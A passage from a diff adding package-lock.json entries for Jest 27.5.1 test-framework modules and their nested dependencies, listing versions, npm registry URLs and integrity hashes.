+    },
+    "node_modules/jest-each/node_modules/has-flag": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
+      "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==",
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/jest-each/node_modules/jest-get-type": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/jest-get-type/-/jest-get-type-27.5.1.tgz",
+      "integrity": "sha512-2KY95ksYSaK7DMBWQn6dQz3kqAf3BB64y2udeG+hv4KfSOb9qwcYQstTJc1KCbsix+wLZWZYN8t7nwX3GOBLRw==",
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/jest-each/node_modules/pretty-format": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-27.5.1.tgz",
+      "integrity": "sha512-Qb1gy5OrP5+zDf2Bvnzdl3jsTf1qXVMazbvCoKhtKqVs4/YK4ozX4gKQJJVyNe+cajNPn0KoC0MC3FUmaHWEmQ==",
+      "dependencies": {
+        "ansi-regex": "^5.0.1",
+        "ansi-styles": "^5.0.0",
+        "react-is": "^17.0.1"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/jest-each/node_modules/pretty-format/node_modules/ansi-styles": {
+      "version": "5.2.0",
+      "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-5.2.0.tgz",
+      "integrity": "sha512-Cxwpt2SfTzTtXcfOlzGEee8O+c+MmUgGrNiBcXnuWxuFJHe6a5Hz7qwhwe5OgaSYI0IJvkLqWX1ASG+cJOkEiA==",
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "url": "https://github.com/chalk/ansi-styles?sponsor=1"
+      }
+    },
+    "node_modules/jest-each/node_modules/react-is": {
+      "version": "17.0.2",
+      "resolved": "https://registry.npmjs.org/react-is/-/react-is-17.0.2.tgz",
+      "integrity": "sha512-w2GsyukL62IJnlaff/nRegPQR94C/XXamvMWmSHRJ4y7Ts/4ocGRmTHvOs8PSE6pB3dWOrD/nueuU5sduBsQ4w=="
+    },
+    "node_modules/jest-each/node_modules/supports-color": {
+      "version": "7.2.0",
+      "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
+      "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
+      "dependencies": {
+        "has-flag": "^4.0.0"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/jest-environment-jsdom": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/jest-environment-jsdom/-/jest-environment-jsdom-27.5.1.tgz",
+      "integrity": "sha512-TFBvkTC1Hnnnrka/fUb56atfDtJ9VMZ94JkjTbggl1PEpwrYtUBKMezB3inLmWqQsXYLcMwNoDQwoBTAvFfsfw==",
+      "dependencies": {
+        "@jest/environment": "^27.5.1",
+        "@jest/fake-timers": "^27.5.1",
+        "@jest/types": "^27.5.1",
+        "@types/node": "*",
+        "jest-mock": "^27.5.1",
+        "jest-util": "^27.5.1",
+        "jsdom": "^16.6.0"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/jest-environment-jsdom/node_modules/@jest/types": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz",
+      "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==",
+      "dependencies": {
+        "@types/istanbul-lib-coverage": "^2.0.0",
+        "@types/istanbul-reports": "^3.0.0",
+        "@types/node": "*",
+        "@types/yargs": "^16.0.0",
+        "chalk": "^4.0.0"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/jest-environment-jsdom/node_modules/@types/istanbul-reports": {
+      "version": "3.0.1",
+      "resolved": "https://registry.npmjs.org/@types/istanbul-reports/-/istanbul-reports-3.0.1.tgz",
+      "integrity": "sha512-c3mAZEuK0lvBp8tmuL74XRKn1+y2dcwOUpH7x4WrF6gk1GIgiluDRgMYQtw2OFcBvAJWlt6ASU3tSqxp0Uu0Aw==",
+      "dependencies": {
+        "@types/istanbul-lib-report": "*"
+      }
+    },
+    "node_modules/jest-environment-jsdom/node_modules/@types/yargs": {
+      "version": "16.0.4",
+      "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.4.tgz",
+      "integrity": "sha512-T8Yc9wt/5LbJyCaLiHPReJa0kApcIgJ7Bn735GjItUfh08Z1pJvu8QZqb9s+mMvKV6WUQRV7K2R46YbjMXTTJw==",
+      "dependencies": {
+        "@types/yargs-parser": "*"
+      }
+    },
+    "node_modules/jest-environment-jsdom/node_modules/ansi-styles": {
+      "version": "4.3.0",
+      "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
+      "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
+      "dependencies": {
+        "color-convert": "^2.0.1"
+      },
+      "engines": {
+        "node": ">=8"
+      },
+      "funding": {
+        "url": "https://github.com/chalk/ansi-styles?sponsor=1"
+      }
+    },
+    "node_modules/jest-environment-jsdom/node_modules/chalk": {
+      "version": "4.1.2",
+      "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
+      "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
+      "dependencies": {
+        "ansi-styles": "^4.1.0",
+        "supports-color": "^7.1.0"
+      },
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "url": "https://github.com/chalk/chalk?sponsor=1"
+      }
+    },
+    "node_modules/jest-environment-jsdom/node_modules/color-convert": {
+      "version": "2.0.1",
+      "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
+      "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
+      "dependencies": {
+        "color-name": "~1.1.4"
+      },
+      "engines": {
+        "node": ">=7.0.0"
+      }
+    },
+    "node_modules/jest-environment-jsdom/node_modules/color-name": {
+      "version": "1.1.4",
+      "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
+      "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="
+    },
+    "node_modules/jest-environment-jsdom/node_modules/has-flag": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
+      "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==",
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/jest-environment-jsdom/node_modules/supports-color": {
+      "version": "7.2.0",
+      "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
+      "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
+      "dependencies": {
+        "has-flag": "^4.0.0"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/jest-environment-node": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/jest-environment-node/-/jest-environment-node-27.5.1.tgz",
+      "integrity": "sha512-Jt4ZUnxdOsTGwSRAfKEnE6BcwsSPNOijjwifq5sDFSA2kesnXTvNqKHYgM0hDq3549Uf/KzdXNYn4wMZJPlFLw==",
+      "dependencies": {
+        "@jest/environment": "^27.5.1",
+        "@jest/fake-timers": "^27.5.1",
+        "@jest/types": "^27.5.1",
+        "@types/node": "*",
+        "jest-mock": "^27.5.1",
+        "jest-util": "^27.5.1"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/jest-environment-node/node_modules/@jest/types": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz",
+      "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==",
+      "dependencies": {
+        "@types/istanbul-lib-coverage": "^2.0.0",
+        "@types/istanbul-reports": "^3.0.0",
+        "@types/node": "*",
+        "@types/yargs": "^16.0.0",
+        "chalk": "^4.0.0"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/jest-environment-node/node_modules/@types/istanbul-reports": {
+      "version": "3.0.1",
+      "resolved": "https://registry.npmjs.org/@types/istanbul-reports/-/istanbul-reports-3.0.1.tgz",
+      "integrity": "sha512-c3mAZEuK0lvBp8tmuL74XRKn1+y2dcwOUpH7x4WrF6gk1GIgiluDRgMYQtw2OFcBvAJWlt6ASU3tSqxp0Uu0Aw==",
+      "dependencies": {
+        "@types/istanbul-lib-report": "*"
+      }
+    },
+    "node_modules/jest-environment-node/node_modules/@types/yargs": {
+      "version": "16.0.4",
+      "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.4.tgz",
+      "integrity": "sha512-T8Yc9wt/5LbJyCaLiHPReJa0kApcIgJ7Bn735GjItUfh08Z1pJvu8QZqb9s+mMvKV6WUQRV7K2R46YbjMXTTJw==",
+      "dependencies": {
+        "@types/yargs-parser": "*"
+      }
+    },
+    "node_modules/jest-environment-node/node_modules/ansi-styles": {
+      "version": "4.3.0",
+      "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
+      "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
+      "dependencies": {
+        "color-convert": "^2.0.1"
+      },
+      "engines": {
+        "node": ">=8"
+      },
+      "funding": {
+        "url": "https://github.com/chalk/ansi-styles?sponsor=1"
+      }
+    },
+    "node_modules/jest-environment-node/node_modules/chalk": {
+      "version": "4.1.2",
+      "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
+      "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
+      "dependencies": {
+        "ansi-styles": "^4.1.0",
+        "supports-color": "^7.1.0"
+      },
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "url": "https://github.com/chalk/chalk?sponsor=1"
+      }
+    },
+    "node_modules/jest-environment-node/node_modules/color-convert": {
+      "version": "2.0.1",
+      "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
+      "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
+      "dependencies": {
+        "color-name": "~1.1.4"
+      },
+      "engines": {
+        "node": ">=7.0.0"
+      }
+    },
+    "node_modules/jest-environment-node/node_modules/color-name": {
+      "version": "1.1.4",
+      "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
+      "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="
+    },
+    "node_modules/jest-environment-node/node_modules/has-flag": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
+      "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==",
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/jest-environment-node/node_modules/supports-color": {
+      "version": "7.2.0",
+      "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
+      "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
+      "dependencies": {
+        "has-flag": "^4.0.0"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/jest-get-type": {
+      "version": "24.9.0",
+      "resolved": "https://registry.npmjs.org/jest-get-type/-/jest-get-type-24.9.0.tgz",
+      "integrity": "sha512-lUseMzAley4LhIcpSP9Jf+fTrQ4a1yHQwLNeeVa2cEmbCGeoZAtYPOIv8JaxLD/sUpKxetKGP+gsHl8f8TSj8Q==",
+      "engines": {
+        "node": ">= 6"
+      }
+    },
+    "node_modules/jest-haste-map": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/jest-haste-map/-/jest-haste-map-27.5.1.tgz",
+      "integrity": "sha512-7GgkZ4Fw4NFbMSDSpZwXeBiIbx+t/46nJ2QitkOjvwPYyZmqttu2TDSimMHP1EkPOi4xUZAN1doE5Vd25H4Jng==",
+      "dependencies": {
+        "@jest/types": "^27.5.1",
+        "@types/graceful-fs": "^4.1.2",
+        "@types/node": "*",
+        "anymatch": "^3.0.3",
+        "fb-watchman": "^2.0.0",
+        "graceful-fs": "^4.2.9",
+        "jest-regex-util": "^27.5.1",
+        "jest-serializer": "^27.5.1",
+        "jest-util": "^27.5.1",
+        "jest-worker": "^27.5.1",
+        "micromatch": "^4.0.4",
+        "walker": "^1.0.7"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      },
+      "optionalDependencies": {
+        "fsevents": "^2.3.2"
+      }
+    },
+    "node_modules/jest-haste-map/node_modules/@jest/types": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz",
+      "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==",
+      "dependencies": {
+        "@types/istanbul-lib-coverage": "^2.0.0",
+        "@types/istanbul-reports": "^3.0.0",
+        "@types/node": "*",
+        "@types/yargs": "^16.0.0",
+        "chalk": "^4.0.0"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/jest-haste-map/node_modules/@types/istanbul-reports": {
+      "version": "3.0.1",
+      "resolved": "https://registry.npmjs.org/@types/istanbul-reports/-/istanbul-reports-3.0.1.tgz",
+      "integrity": "sha512-c3mAZEuK0lvBp8tmuL74XRKn1+y2dcwOUpH7x4WrF6gk1GIgiluDRgMYQtw2OFcBvAJWlt6ASU3tSqxp0Uu0Aw==",
+      "dependencies": {
+        "@types/istanbul-lib-report": "*"
+      }
+    },
+    "node_modules/jest-haste-map/node_modules/@types/yargs": {
+      "version": "16.0.4",
+      "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.4.tgz",
+      "integrity": "sha512-T8Yc9wt/5LbJyCaLiHPReJa0kApcIgJ7Bn735GjItUfh08Z1pJvu8QZqb9s+mMvKV6WUQRV7K2R46YbjMXTTJw==",
+      "dependencies": {
+        "@types/yargs-parser": "*"
+      }
+    },
+    "node_modules/jest-haste-map/node_modules/ansi-styles": {
+      "version": "4.3.0",
+      "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
+      "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
+      "dependencies": {
+        "color-convert": "^2.0.1"
+      },
+      "engines": {
+        "node": ">=8"
+      },
+      "funding": {
+        "url": "https://github.com/chalk/ansi-styles?sponsor=1"
+      }
+    },
+    "node_modules/jest-haste-map/node_modules/chalk": {
+      "version": "4.1.2",
+      "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
+      "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
+      "dependencies": {
+        "ansi-styles": "^4.1.0",
+        "supports-color": "^7.1.0"
+      },
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "url": "https://github.com/chalk/chalk?sponsor=1"
+      }
+    },
+    "node_modules/jest-haste-map/node_modules/color-convert": {
+      "version": "2.0.1",
+      "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
+      "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
+      "dependencies": {
+        "color-name": "~1.1.4"
+      },
+      "engines": {
+        "node": ">=7.0.0"
+      }
+    },
+    "node_modules/jest-haste-map/node_modules/color-name": {
+      "version": "1.1.4",
+      "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
+      "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="
+    },
+    "node_modules/jest-haste-map/node_modules/has-flag": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
+      "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==",
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/jest-haste-map/node_modules/supports-color": {
+      "version": "7.2.0",
+      "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
+      "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
+      "dependencies": {
+        "has-flag": "^4.0.0"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/jest-jasmine2": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/jest-jasmine2/-/jest-jasmine2-27.5.1.tgz",
+      "integrity": "sha512-jtq7VVyG8SqAorDpApwiJJImd0V2wv1xzdheGHRGyuT7gZm6gG47QEskOlzsN1PG/6WNaCo5pmwMHDf3AkG2pQ==",
+      "dependencies": {
+        "@jest/environment": "^27.5.1",
+        "@jest/source-map": "^27.5.1",
+        "@jest/test-result": "^27.5.1",
+        "@jest/types": "^27.5.1",
+        "@types/node": "*",
+        "chalk": "^4.0.0",
+        "co": "^4.6.0",
+        "expect": "^27.5.1",
+        "is-generator-fn": "^2.0.0",
+        "jest-each": "^27.5.1",
+        "jest-matcher-utils": "^27.5.1",
+        "jest-message-util": "^27.5.1",
+        "jest-runtime": "^27.5.1",
+        "jest-snapshot": "^27.5.1",
+        "jest-util": "^27.5.1",
+        "pretty-format": "^27.5.1",
+        "throat": "^6.0.1"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/jest-jasmine2/node_modules/@jest/types": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz",
+      "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==",
+      "dependencies": {
+        "@types/istanbul-lib-coverage": "^2.0.0",
+        "@types/istanbul-reports": "^3.0.0",
+        "@types/node": "*",
+        "@types/yargs": "^16.0.0",
+        "chalk": "^4.0.0"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/jest-jasmine2/node_modules/@types/istanbul-reports": {
+      "version": "3.0.1",
+      "resolved": "https://registry.npmjs.org/@types/istanbul-reports/-/istanbul-reports-3.0.1.tgz",
+      "integrity": "sha512-c3mAZEuK0lvBp8tmuL74XRKn1+y2dcwOUpH7x4WrF6gk1GIgiluDRgMYQtw2OFcBvAJWlt6ASU3tSqxp0Uu0Aw==",
+      "dependencies": {
+        "@types/istanbul-lib-report": "*"
+      }
+    },
+    "node_modules/jest-jasmine2/node_modules/@types/yargs": {
+      "version": "16.0.4",
+      "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.4.tgz",
+      "integrity": "sha512-T8Yc9wt/5LbJyCaLiHPReJa0kApcIgJ7Bn735GjItUfh08Z1pJvu8QZqb9s+mMvKV6WUQRV7K2R46YbjMXTTJw==",
+      "dependencies": {
+        "@types/yargs-parser": "*"
+      }
+    },
+    "node_modules/jest-jasmine2/node_modules/ansi-regex": {
+      "version": "5.0.1",
+      "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz",
+      "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==",
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/jest-jasmine2/node_modules/ansi-styles": {
+      "version": "4.3.0",
+      "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
+      "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
+      "dependencies": {
+        "color-convert": "^2.0.1"
+      },
+      "engines": {
+        "node": ">=8"
+      },
+      "funding": {
+        "url": "https://github.com/chalk/ansi-styles?sponsor=1"
+      }
+    },
+    "node_modules/jest-jasmine2/node_modules/chalk": {
+      "version": "4.1.2",
+      "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
+      "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
+      "dependencies": {
+        "ansi-styles": "^4.1.0",
+        "supports-color": "^7.1.0"
+      },
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "url": "https://github.com/chalk/chalk?sponsor=1"
+      }
+    },
+    "node_modules/jest-jasmine2/node_modules/color-convert": {
+      "version": "2.0.1",
+      "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
+      "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
+      "dependencies": {
+        "color-name": "~1.1.4"
+      },
+      "engines": {
+        "node": ">=7.0.0"
+      }
+    },
+    "node_modules/jest-jasmine2/node_modules/color-name": {
+      "version": "1.1.4",
+      "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
+      "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="
+    },
+    "node_modules/jest-jasmine2/node_modules/diff-sequences": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/diff-sequences/-/diff-sequences-27.5.1.tgz",
+      "integrity": "sha512-k1gCAXAsNgLwEL+Y8Wvl+M6oEFj5bgazfZULpS5CneoPPXRaCCW7dm+q21Ky2VEE5X+VeRDBVg1Pcvvsr4TtNQ==",
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/jest-jasmine2/node_modules/has-flag": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
+      "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==",
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/jest-jasmine2/node_modules/jest-diff": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/jest-diff/-/jest-diff-27.5.1.tgz",
+      "integrity": "sha512-m0NvkX55LDt9T4mctTEgnZk3fmEg3NRYutvMPWM/0iPnkFj2wIeF45O1718cMSOFO1vINkqmxqD8vE37uTEbqw==",
+      "dependencies": {
+        "chalk": "^4.0.0",
+        "diff-sequences": "^27.5.1",
+        "jest-get-type": "^27.5.1",
+        "pretty-format": "^27.5.1"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/jest-jasmine2/node_modules/jest-get-type": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/jest-get-type/-/jest-get-type-27.5.1.tgz",
+      "integrity": "sha512-2KY95ksYSaK7DMBWQn6dQz3kqAf3BB64y2udeG+hv4KfSOb9qwcYQstTJc1KCbsix+wLZWZYN8t7nwX3GOBLRw==",
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/jest-jasmine2/node_modules/jest-matcher-utils": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/jest-matcher-utils/-/jest-matcher-utils-27.5.1.tgz",
+      "integrity": "sha512-z2uTx/T6LBaCoNWNFWwChLBKYxTMcGBRjAt+2SbP929/Fflb9aa5LGma654Rz8z9HLxsrUaYzxE9T/EFIL/PAw==",
+      "dependencies": {
+        "chalk": "^4.0.0",
+        "jest-diff": "^27.5.1",
+        "jest-get-type": "^27.5.1",
+        "pretty-format": "^27.5.1"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/jest-jasmine2/node_modules/pretty-format": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-27.5.1.tgz",
+      "integrity": "sha512-Qb1gy5OrP5+zDf2Bvnzdl3jsTf1qXVMazbvCoKhtKqVs4/YK4ozX4gKQJJVyNe+cajNPn0KoC0MC3FUmaHWEmQ==",
+      "dependencies": {
+        "ansi-regex": "^5.0.1",
+        "ansi-styles": "^5.0.0",
+        "react-is": "^17.0.1"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/jest-jasmine2/node_modules/pretty-format/node_modules/ansi-styles": {
+      "version": "5.2.0",
+      "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-5.2.0.tgz",
+      "integrity": "sha512-Cxwpt2SfTzTtXcfOlzGEee8O+c+MmUgGrNiBcXnuWxuFJHe6a5Hz7qwhwe5OgaSYI0IJvkLqWX1ASG+cJOkEiA==",
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "url": "https://github.com/chalk/ansi-styles?sponsor=1"
+      }
+    },
+    "node_modules/jest-jasmine2/node_modules/react-is": {
+      "version": "17.0.2",
+      "resolved": "https://registry.npmjs.org/react-is/-/react-is-17.0.2.tgz",
+      "integrity": "sha512-w2GsyukL62IJnlaff/nRegPQR94C/XXamvMWmSHRJ4y7Ts/4ocGRmTHvOs8PSE6pB3dWOrD/nueuU5sduBsQ4w=="
+    },
+    "node_modules/jest-jasmine2/node_modules/supports-color": {
+      "version": "7.2.0",
+      "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
+      "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
+      "dependencies": {
+        "has-flag": "^4.0.0"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/jest-leak-detector": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/jest-leak-detector/-/jest-leak-detector-27.5.1.tgz",
+      "integrity": "sha512-POXfWAMvfU6WMUXftV4HolnJfnPOGEu10fscNCA76KBpRRhcMN2c8d3iT2pxQS3HLbA+5X4sOUPzYO2NUyIlHQ==",
+      "dependencies": {
+        "jest-get-type": "^27.5.1",
+        "pretty-format": "^27.5.1"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/jest-leak-detector/node_modules/ansi-regex": {
+      "version": "5.0.1",
